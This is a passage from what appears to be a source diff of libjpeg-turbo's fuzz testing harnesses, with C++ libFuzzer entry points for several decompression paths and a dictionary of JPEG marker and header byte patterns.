int w = width, h = height;
|
||||
int pf = pixelFormats[pfi], i;
|
||||
int64_t sum = 0;
|
||||
|
||||
/* Test non-default decompression options on the first iteration. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, pfi == 0);
|
||||
tj3Set(handle, TJPARAM_FASTUPSAMPLE, pfi == 0);
|
||||
|
||||
if (!tj3Get(handle, TJPARAM_LOSSLESS)) {
|
||||
tj3Set(handle, TJPARAM_FASTDCT, pfi == 0);
|
||||
|
||||
/* Test IDCT scaling on the second and third iterations. */
|
||||
if (pfi == 1 || pfi == 2) {
|
||||
tjscalingfactor sf = { 1, pfi == 1 ? 2 : 8 };
|
||||
tj3SetScalingFactor(handle, sf);
|
||||
w = TJSCALED(width, sf);
|
||||
h = TJSCALED(height, sf);
|
||||
} else
|
||||
tj3SetScalingFactor(handle, TJUNSCALED);
|
||||
|
||||
/* Test partial image decompression on the second and fourth iterations,
|
||||
if the image is large enough. */
|
||||
if ((pfi == 1 || pfi == 3) && w >= 97 && h >= 75) {
|
||||
tjregion cr = { 32, 16, 65, 59 };
|
||||
tj3SetCroppingRegion(handle, cr);
|
||||
} else
|
||||
tj3SetCroppingRegion(handle, TJUNCROPPED);
|
||||
}
|
||||
|
||||
if ((dstBuf = tj3Alloc(w * h * tjPixelSize[pf] * sampleSize)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if (precision == 8) {
|
||||
if (tj3Decompress8(handle, data, size, (unsigned char *)dstBuf, 0,
|
||||
pf) == 0) {
|
||||
/* Touch all of the output pixels in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < w * h * tjPixelSize[pf]; i++)
|
||||
sum += ((unsigned char *)dstBuf)[i];
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
} else if (precision == 12) {
|
||||
if (tj3Decompress12(handle, data, size, (short *)dstBuf, 0, pf) == 0) {
|
||||
/* Touch all of the output pixels in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < w * h * tjPixelSize[pf]; i++)
|
||||
sum += ((short *)dstBuf)[i];
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
} else {
|
||||
if (tj3Decompress16(handle, data, size, (unsigned short *)dstBuf, 0,
|
||||
pf) == 0) {
|
||||
/* Touch all of the output pixels in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < w * h * tjPixelSize[pf]; i++)
|
||||
sum += ((unsigned short *)dstBuf)[i];
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > ((1LL << precision) - 1LL) * 1048576LL * tjPixelSize[pf])
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+291
@@ -0,0 +1,291 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024, 2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* This fuzzer uses the libjpeg API to exercise code paths that are not covered
|
||||
* by the other fuzzers (or by the TurboJPEG API in general):
|
||||
*
|
||||
* - JCS_UNKNOWN (NULL color conversion with a component count other than 3 or
|
||||
* 4)
|
||||
* - Floating point IDCT
|
||||
* - Buffered-image mode
|
||||
* - Interstitial line skipping
|
||||
* - jpeg_save_markers() with a length limit
|
||||
* - Custom marker processor
|
||||
* - JCS_RGB565
|
||||
* - Color quantization
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <setjmp.h>
|
||||
|
||||
extern "C" {
|
||||
#include "../src/jpeglib.h"
|
||||
#include "../src/jerror.h"
|
||||
}
|
||||
|
||||
|
||||
struct fuzzer_error_mgr {
|
||||
struct jpeg_error_mgr pub;
|
||||
jmp_buf setjmp_buffer;
|
||||
};
|
||||
|
||||
|
||||
static void fuzzer_error_exit(j_common_ptr cinfo)
|
||||
{
|
||||
struct fuzzer_error_mgr *fuzz_err = (struct fuzzer_error_mgr *)cinfo->err;
|
||||
|
||||
longjmp(fuzz_err->setjmp_buffer, 1);
|
||||
}
|
||||
|
||||
|
||||
static void fuzzer_emit_message(j_common_ptr cinfo, int msg_level)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
static int64_t marker_sum = 0;
|
||||
|
||||
static boolean custom_marker_processor(j_decompress_ptr cinfo)
|
||||
{
|
||||
struct jpeg_source_mgr *src = cinfo->src;
|
||||
INT32 length;
|
||||
|
||||
/* Read and consume the 2-byte length field. */
|
||||
if (src->bytes_in_buffer < 2)
|
||||
return FALSE;
|
||||
|
||||
length = ((INT32)src->next_input_byte[0] << 8) +
|
||||
(INT32)src->next_input_byte[1];
|
||||
src->next_input_byte += 2;
|
||||
src->bytes_in_buffer -= 2;
|
||||
length -= 2;
|
||||
|
||||
if (length < 0)
|
||||
return FALSE;
|
||||
|
||||
/* Consume and touch all marker data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
while (length > 0) {
|
||||
if (src->bytes_in_buffer == 0) {
|
||||
if (!(*src->fill_input_buffer) (cinfo))
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
size_t available = (size_t)length < src->bytes_in_buffer ?
|
||||
(size_t)length : src->bytes_in_buffer;
|
||||
|
||||
for (size_t i = 0; i < available; i++)
|
||||
marker_sum += src->next_input_byte[i];
|
||||
|
||||
src->next_input_byte += available;
|
||||
src->bytes_in_buffer -= available;
|
||||
length -= (INT32)available;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
J_COLOR_SPACE out_color_space;
|
||||
boolean quantize_colors;
|
||||
boolean two_pass_quantize;
|
||||
J_DITHER_MODE dither_mode;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
struct jpeg_decompress_struct cinfo;
|
||||
struct fuzzer_error_mgr jerr;
|
||||
JSAMPARRAY buffer = NULL;
|
||||
int row_stride;
|
||||
int numTests = 1;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
Output Quantize 2-Pass Dither
|
||||
Colorspace Colors Quant Mode
|
||||
*/
|
||||
{ JCS_RGB565, FALSE, FALSE, JDITHER_NONE },
|
||||
{ JCS_RGB565, FALSE, FALSE, JDITHER_ORDERED },
|
||||
{ JCS_UNKNOWN, TRUE, FALSE, JDITHER_NONE },
|
||||
{ JCS_UNKNOWN, TRUE, FALSE, JDITHER_ORDERED },
|
||||
{ JCS_UNKNOWN, TRUE, FALSE, JDITHER_FS },
|
||||
{ JCS_UNKNOWN, TRUE, TRUE, JDITHER_NONE },
|
||||
{ JCS_UNKNOWN, TRUE, TRUE, JDITHER_FS }
|
||||
};
|
||||
|
||||
/* Reject too-small input. */
|
||||
if (size < 2)
|
||||
return 0;
|
||||
|
||||
cinfo.err = jpeg_std_error(&jerr.pub);
|
||||
jerr.pub.error_exit = fuzzer_error_exit;
|
||||
jerr.pub.emit_message = fuzzer_emit_message;
|
||||
|
||||
jpeg_create_decompress(&cinfo);
|
||||
|
||||
for (int ti = 0; ti < numTests; ti++) {
|
||||
int64_t sum = 0;
|
||||
|
||||
marker_sum = 0;
|
||||
|
||||
if (setjmp(jerr.setjmp_buffer)) {
|
||||
jpeg_abort_decompress(&cinfo);
|
||||
continue;
|
||||
}
|
||||
|
||||
jpeg_mem_src(&cinfo, data, (unsigned long)size);
|
||||
|
||||
for (int m = JPEG_APP0; m <= JPEG_APP0 + 15; m++) {
|
||||
if (m != JPEG_APP0 + 3)
|
||||
jpeg_save_markers(&cinfo, m, 256);
|
||||
}
|
||||
jpeg_set_marker_processor(&cinfo, JPEG_APP0 + 3, custom_marker_processor);
|
||||
|
||||
jpeg_read_header(&cinfo, TRUE);
|
||||
|
||||
/* Sanity check dimensions to avoid memory exhaustion. Casting width to
|
||||
(uint64_t) prevents integer overflow if width * height > INT_MAX. */
|
||||
if (cinfo.image_width < 1 || cinfo.image_height < 1 ||
|
||||
(uint64_t)cinfo.image_width * cinfo.image_height > 1048576)
|
||||
goto bailout;
|
||||
|
||||
cinfo.dct_method = JDCT_FLOAT;
|
||||
cinfo.buffered_image = jpeg_has_multiple_scans(&cinfo);
|
||||
if (((cinfo.jpeg_color_space == JCS_YCbCr ||
|
||||
cinfo.jpeg_color_space == JCS_RGB) && cinfo.num_components == 3) ||
|
||||
(cinfo.jpeg_color_space == JCS_GRAYSCALE &&
|
||||
cinfo.num_components == 1)) {
|
||||
cinfo.out_color_space = tests[ti].out_color_space;
|
||||
if (cinfo.jpeg_color_space == JCS_GRAYSCALE) {
|
||||
numTests = 5;
|
||||
if (cinfo.out_color_space == JCS_UNKNOWN)
|
||||
cinfo.out_color_space = JCS_GRAYSCALE;
|
||||
} else {
|
||||
numTests = 7;
|
||||
if (cinfo.out_color_space == JCS_UNKNOWN)
|
||||
cinfo.out_color_space = ti % 2 ? JCS_RGB : JCS_EXT_BGR;
|
||||
}
|
||||
cinfo.quantize_colors = tests[ti].quantize_colors;
|
||||
cinfo.two_pass_quantize = tests[ti].two_pass_quantize;
|
||||
cinfo.dither_mode = tests[ti].dither_mode;
|
||||
}
|
||||
|
||||
if (!jpeg_start_decompress(&cinfo)) {
|
||||
jpeg_abort_decompress(&cinfo);
|
||||
continue;
|
||||
}
|
||||
|
||||
row_stride = cinfo.output_width * cinfo.output_components;
|
||||
buffer = (*cinfo.mem->alloc_sarray)
|
||||
((j_common_ptr)&cinfo, JPOOL_IMAGE, row_stride, 1);
|
||||
|
||||
if (cinfo.buffered_image) {
|
||||
/* Process all scans. */
|
||||
while (!jpeg_input_complete(&cinfo) &&
|
||||
cinfo.input_scan_number != cinfo.output_scan_number) {
|
||||
int retval;
|
||||
|
||||
if (cinfo.input_scan_number > 100) {
|
||||
jpeg_abort_decompress(&cinfo);
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
/* Consume input data until we have a complete scan or reach the end
|
||||
of input. */
|
||||
do {
|
||||
retval = jpeg_consume_input(&cinfo);
|
||||
} while (retval != JPEG_SUSPENDED && retval != JPEG_REACHED_SOS &&
|
||||
retval != JPEG_REACHED_EOI);
|
||||
|
||||
if (retval == JPEG_REACHED_EOI)
|
||||
break;
|
||||
|
||||
/* Start outputting the current scan. */
|
||||
if (!jpeg_start_output(&cinfo, cinfo.input_scan_number))
|
||||
break;
|
||||
|
||||
while (cinfo.output_scanline < cinfo.output_height) {
|
||||
if (!cinfo.two_pass_quantize &&
|
||||
(cinfo.output_scanline == 0 || cinfo.output_scanline == 16)) {
|
||||
JDIMENSION output_scanline = cinfo.output_scanline;
|
||||
|
||||
jpeg_skip_scanlines(&cinfo, 8);
|
||||
if (cinfo.output_scanline == output_scanline)
|
||||
break;
|
||||
} else {
|
||||
if (jpeg_read_scanlines(&cinfo, buffer, 1) != 1)
|
||||
break;
|
||||
/* Touch all of the output pixels in order to catch uninitialized
|
||||
reads when using MemorySanitizer. */
|
||||
for (int i = 0; i < row_stride; i++)
|
||||
sum += buffer[0][i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Finish this output pass. */
|
||||
if (!jpeg_finish_output(&cinfo))
|
||||
break;
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
while (cinfo.output_scanline < cinfo.output_height) {
|
||||
if (!cinfo.two_pass_quantize &&
|
||||
(cinfo.output_scanline == 0 || cinfo.output_scanline == 16))
|
||||
jpeg_skip_scanlines(&cinfo, 8);
|
||||
else {
|
||||
jpeg_read_scanlines(&cinfo, buffer, 1);
|
||||
for (int i = 0; i < row_stride; i++)
|
||||
sum += buffer[0][i];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
jpeg_finish_decompress(&cinfo);
|
||||
|
||||
/* Prevent the sums above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > (int64_t)255 * 1048576 * 4 ||
|
||||
marker_sum > (int64_t)255 * 1048576)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
jpeg_destroy_decompress(&cinfo);
|
||||
return 0;
|
||||
}
|
||||
Executable
+120
@@ -0,0 +1,120 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
#define NUMPF 4
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned char *dstBuf = NULL, *yuvBuf = NULL;
|
||||
int width = 0, height = 0, jpegSubsamp, pfi;
|
||||
/* TJPF_RGB-TJPF_BGR share the same code paths, as do TJPF_RGBX-TJPF_XRGB and
|
||||
TJPF_RGBA-TJPF_ARGB. Thus, the pixel formats below should be the minimum
|
||||
necessary to achieve full coverage. */
|
||||
enum TJPF pixelFormats[NUMPF] =
|
||||
{ TJPF_BGR, TJPF_RGBA, TJPF_XRGB, TJPF_GRAY };
|
||||
|
||||
if ((handle = tj3Init(TJINIT_DECOMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
/* We ignore the return value of tj3DecompressHeader(), because malformed
|
||||
JPEG images that might expose issues in libjpeg-turbo might also have
|
||||
header errors that cause tj3DecompressHeader() to fail. */
|
||||
tj3DecompressHeader(handle, data, size);
|
||||
width = tj3Get(handle, TJPARAM_JPEGWIDTH);
|
||||
height = tj3Get(handle, TJPARAM_JPEGHEIGHT);
|
||||
jpegSubsamp = tj3Get(handle, TJPARAM_SUBSAMP);
|
||||
|
||||
/* Ignore 0-pixel images and images larger than 1 Megapixel. Casting width
|
||||
to (uint64_t) prevents integer overflow if width * height > INT_MAX. */
|
||||
if (width < 1 || height < 1 || (uint64_t)width * height > 1048576)
|
||||
goto bailout;
|
||||
|
||||
tj3Set(handle, TJPARAM_SCANLIMIT, 100);
|
||||
|
||||
for (pfi = 0; pfi < NUMPF; pfi++) {
|
||||
int w = width, h = height;
|
||||
int pf = pixelFormats[pfi], i, sum = 0;
|
||||
|
||||
/* Test non-default decompression options on the first iteration. */
|
||||
if (!tj3Get(handle, TJPARAM_LOSSLESS)) {
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, pfi == 0);
|
||||
tj3Set(handle, TJPARAM_FASTUPSAMPLE, pfi == 0);
|
||||
tj3Set(handle, TJPARAM_FASTDCT, pfi == 0);
|
||||
|
||||
/* Test IDCT scaling on the second and third iteration. */
|
||||
if (pfi == 1 || pfi == 2) {
|
||||
tjscalingfactor sf = { pfi == 1 ? 3 : 1, 4 };
|
||||
tj3SetScalingFactor(handle, sf);
|
||||
w = TJSCALED(width, sf);
|
||||
h = TJSCALED(height, sf);
|
||||
} else
|
||||
tj3SetScalingFactor(handle, TJUNSCALED);
|
||||
}
|
||||
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(w * h * tjPixelSize[pf])) == NULL)
|
||||
goto bailout;
|
||||
if ((yuvBuf =
|
||||
(unsigned char *)tj3Alloc(tj3YUVBufSize(w, 1, h,
|
||||
jpegSubsamp))) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if (tj3DecompressToYUV8(handle, data, size, yuvBuf, 1) == 0 &&
|
||||
tj3DecodeYUV8(handle, yuvBuf, 1, dstBuf, w, 0, h, pf) == 0) {
|
||||
/* Touch all of the output pixels in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < w * h * tjPixelSize[pf]; i++)
|
||||
sum += dstBuf[i];
|
||||
} else if (!strcmp(tj3GetErrorStr(handle),
|
||||
"Progressive JPEG image has more than 100 scans"))
|
||||
goto bailout;
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(yuvBuf);
|
||||
yuvBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * 1048576 * tjPixelSize[pf])
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(yuvBuf);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+400
@@ -0,0 +1,400 @@
|
||||
# JPEG Dictionary for libFuzzer
|
||||
# Contains JPEG markers, common signatures, and important byte patterns
|
||||
|
||||
# ==================================================
|
||||
# JPEG markers (2-byte sequences starting with 0xFF)
|
||||
# ==================================================
|
||||
|
||||
# Start Of Image/End Of Image (SOI/EOI)
|
||||
soi="\xff\xd8"
|
||||
eoi="\xff\xd9"
|
||||
|
||||
# Start Of Frame (SOF0-SOF15)
|
||||
|
||||
# Baseline DCT
|
||||
sof0="\xff\xc0"
|
||||
# Extended sequential DCT, Huffman coding
|
||||
sof1="\xff\xc1"
|
||||
# Progressive DCT, Huffman coding
|
||||
sof2="\xff\xc2"
|
||||
# Lossless, Huffman coding
|
||||
sof3="\xff\xc3"
|
||||
# Differential sequential DCT, Huffman coding
|
||||
sof5="\xff\xc5"
|
||||
# Differential progressive DCT, Huffman coding
|
||||
sof6="\xff\xc6"
|
||||
# Differential lossless, Huffman coding
|
||||
sof7="\xff\xc7"
|
||||
# Sequential DCT, arithmetic coding
|
||||
sof9="\xff\xc9"
|
||||
# Progressive DCT, arithmetic coding
|
||||
sof10="\xff\xca"
|
||||
# Lossless, arithmetic coding
|
||||
sof11="\xff\xcb"
|
||||
# Differential sequential DCT, arithmetic coding
|
||||
sof13="\xff\xcd"
|
||||
# Differential progressive DCT, arithmetic coding
|
||||
sof14="\xff\xce"
|
||||
# Differential lossless, arithmetic coding
|
||||
sof15="\xff\xcf"
|
||||
|
||||
# Define Huffman Tables (DHT)
|
||||
dht="\xff\xc4"
|
||||
|
||||
# Define Arithmetic Coding conditioning (DAC)
|
||||
dac="\xff\xcc"
|
||||
|
||||
# Define Quantization Tables (DQT)
|
||||
dqt="\xff\xdb"
|
||||
|
||||
# Define Restart Interval (DRI)
|
||||
dri="\xff\xdd"
|
||||
|
||||
# Start Of Scan (SOS)
|
||||
sos="\xff\xda"
|
||||
|
||||
# Restart (RST0-RST7)
|
||||
rst0="\xff\xd0"
|
||||
rst1="\xff\xd1"
|
||||
rst2="\xff\xd2"
|
||||
rst3="\xff\xd3"
|
||||
rst4="\xff\xd4"
|
||||
rst5="\xff\xd5"
|
||||
rst6="\xff\xd6"
|
||||
rst7="\xff\xd7"
|
||||
|
||||
# Application (APP0-APP15)
|
||||
app0="\xff\xe0"
|
||||
app1="\xff\xe1"
|
||||
app2="\xff\xe2"
|
||||
app3="\xff\xe3"
|
||||
app4="\xff\xe4"
|
||||
app5="\xff\xe5"
|
||||
app6="\xff\xe6"
|
||||
app7="\xff\xe7"
|
||||
app8="\xff\xe8"
|
||||
app9="\xff\xe9"
|
||||
app10="\xff\xea"
|
||||
app11="\xff\xeb"
|
||||
app12="\xff\xec"
|
||||
app13="\xff\xed"
|
||||
app14="\xff\xee"
|
||||
app15="\xff\xef"
|
||||
|
||||
# Comment (COM)
|
||||
com="\xff\xfe"
|
||||
|
||||
# Define Number of Lines (DNL)
|
||||
dnl="\xff\xdc"
|
||||
|
||||
# Expand reference components (EXP)
|
||||
exp="\xff\xdf"
|
||||
|
||||
# JPEG extensions (JPG0-JPG13)
|
||||
jpg0="\xff\xf0"
|
||||
jpg1="\xff\xf1"
|
||||
jpg2="\xff\xf2"
|
||||
jpg3="\xff\xf3"
|
||||
jpg4="\xff\xf4"
|
||||
jpg5="\xff\xf5"
|
||||
jpg6="\xff\xf6"
|
||||
jpg7="\xff\xf7"
|
||||
jpg8="\xff\xf8"
|
||||
jpg9="\xff\xf9"
|
||||
jpg10="\xff\xfa"
|
||||
jpg11="\xff\xfb"
|
||||
jpg12="\xff\xfc"
|
||||
jpg13="\xff\xfd"
|
||||
|
||||
# Temporary (TEM)
|
||||
tem="\xff\x01"
|
||||
|
||||
# Reserved (RES)
|
||||
res_02="\xff\x02"
|
||||
res_bf="\xff\xbf"
|
||||
|
||||
# Fill byte (byte stuffing)
|
||||
fill="\xff\x00"
|
||||
|
||||
# ==============================
|
||||
# Application segment signatures
|
||||
# ==============================
|
||||
|
||||
# JFIF signature (in APP0)
|
||||
jfif="JFIF\x00"
|
||||
jfif_ver="\x01\x01"
|
||||
jfif_ver2="\x01\x02"
|
||||
|
||||
# JFXX signature (in APP0)
|
||||
jfxx="JFXX\x00"
|
||||
|
||||
# Exif signature (in APP1)
|
||||
exif="Exif\x00\x00"
|
||||
|
||||
# XMP signature (in APP1)
|
||||
xmp="http://ns.adobe.com/xap/1.0/\x00"
|
||||
|
||||
# ICC Profile signature (in APP2)
|
||||
icc="ICC_PROFILE\x00"
|
||||
|
||||
# Adobe signature (in APP14)
|
||||
adobe="Adobe\x00"
|
||||
|
||||
# Photoshop signature (in APP13)
|
||||
photoshop="Photoshop 3.0\x008BIM"
|
||||
|
||||
# ============================
|
||||
# TIFF/Exif byte order markers
|
||||
# ============================
|
||||
|
||||
tiff_le="II\x2a\x00"
|
||||
tiff_be="MM\x00\x2a"
|
||||
|
||||
# =================================
|
||||
# Common length values (big-endian)
|
||||
# =================================
|
||||
|
||||
len_2="\x00\x02"
|
||||
len_4="\x00\x04"
|
||||
len_8="\x00\x08"
|
||||
len_16="\x00\x10"
|
||||
len_17="\x00\x11"
|
||||
len_32="\x00\x20"
|
||||
len_64="\x00\x40"
|
||||
len_128="\x00\x80"
|
||||
len_256="\x01\x00"
|
||||
len_512="\x02\x00"
|
||||
len_1024="\x04\x00"
|
||||
|
||||
# ============================================
|
||||
# Image dimensions (common values, big-endian)
|
||||
# ============================================
|
||||
|
||||
dim_1="\x00\x01"
|
||||
dim_8="\x00\x08"
|
||||
dim_16="\x00\x10"
|
||||
dim_64="\x00\x40"
|
||||
dim_128="\x00\x80"
|
||||
dim_256="\x01\x00"
|
||||
dim_512="\x02\x00"
|
||||
dim_1024="\x04\x00"
|
||||
dim_2048="\x08\x00"
|
||||
dim_4096="\x10\x00"
|
||||
|
||||
# ========================
|
||||
# Component counts and IDs
|
||||
# ========================
|
||||
|
||||
comp_1="\x01"
|
||||
comp_2="\x02"
|
||||
comp_3="\x03"
|
||||
comp_4="\x04"
|
||||
|
||||
# Component IDs (Y, Cb, Cr)
|
||||
comp_y="\x01"
|
||||
comp_cb="\x02"
|
||||
comp_cr="\x03"
|
||||
comp_r="\x52"
|
||||
comp_g="\x47"
|
||||
comp_b="\x42"
|
||||
|
||||
# ===========================================
|
||||
# Sampling factors (packed H:V into one byte)
|
||||
# ===========================================
|
||||
|
||||
samp_11="\x11"
|
||||
samp_21="\x21"
|
||||
samp_12="\x12"
|
||||
samp_22="\x22"
|
||||
samp_41="\x41"
|
||||
samp_14="\x14"
|
||||
samp_44="\x44"
|
||||
|
||||
# ======================
|
||||
# Quantization table IDs
|
||||
# ======================
|
||||
|
||||
qt_0="\x00"
|
||||
qt_1="\x01"
|
||||
qt_2="\x02"
|
||||
qt_3="\x03"
|
||||
qt_16bit_0="\x10"
|
||||
qt_16bit_1="\x11"
|
||||
|
||||
# =======================================
|
||||
# Huffman table class and ID combinations
|
||||
# =======================================
|
||||
|
||||
ht_dc_0="\x00"
|
||||
ht_dc_1="\x01"
|
||||
ht_dc_2="\x02"
|
||||
ht_dc_3="\x03"
|
||||
ht_ac_0="\x10"
|
||||
ht_ac_1="\x11"
|
||||
ht_ac_2="\x12"
|
||||
ht_ac_3="\x13"
|
||||
|
||||
# =====================
|
||||
# Data precision values
|
||||
# =====================
|
||||
|
||||
prec_8="\x08"
|
||||
prec_12="\x0c"
|
||||
prec_16="\x10"
|
||||
|
||||
# =====================================
|
||||
# Huffman code lengths (for DHT marker)
|
||||
# =====================================
|
||||
|
||||
huff_0_codes="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
huff_std_dc="\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
huff_std_ac="\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7d"
|
||||
|
||||
# =======================
|
||||
# Restart interval values
|
||||
# =======================
|
||||
|
||||
ri_0="\x00\x00"
|
||||
ri_1="\x00\x01"
|
||||
ri_8="\x00\x08"
|
||||
ri_16="\x00\x10"
|
||||
ri_100="\x00\x64"
|
||||
ri_256="\x01\x00"
|
||||
|
||||
# ==================
|
||||
# Scan header values
|
||||
# ==================
|
||||
|
||||
scan_start_0="\x00"
|
||||
scan_start_1="\x01"
|
||||
scan_end_0="\x00"
|
||||
scan_end_63="\x3f"
|
||||
scan_approx_0="\x00"
|
||||
scan_approx_10="\x10"
|
||||
scan_approx_01="\x01"
|
||||
scan_approx_11="\x11"
|
||||
scan_approx_21="\x21"
|
||||
|
||||
# ===================================
|
||||
# Progressive scan approximation bits
|
||||
# ===================================
|
||||
|
||||
ah_al_00="\x00"
|
||||
ah_al_10="\x10"
|
||||
ah_al_20="\x20"
|
||||
ah_al_01="\x01"
|
||||
ah_al_11="\x11"
|
||||
ah_al_21="\x21"
|
||||
ah_al_12="\x12"
|
||||
|
||||
# =========================
|
||||
# Lossless predictor values
|
||||
# =========================
|
||||
|
||||
pred_0="\x00"
|
||||
pred_1="\x01"
|
||||
pred_2="\x02"
|
||||
pred_3="\x03"
|
||||
pred_4="\x04"
|
||||
pred_5="\x05"
|
||||
pred_6="\x06"
|
||||
pred_7="\x07"
|
||||
|
||||
# ==============================
|
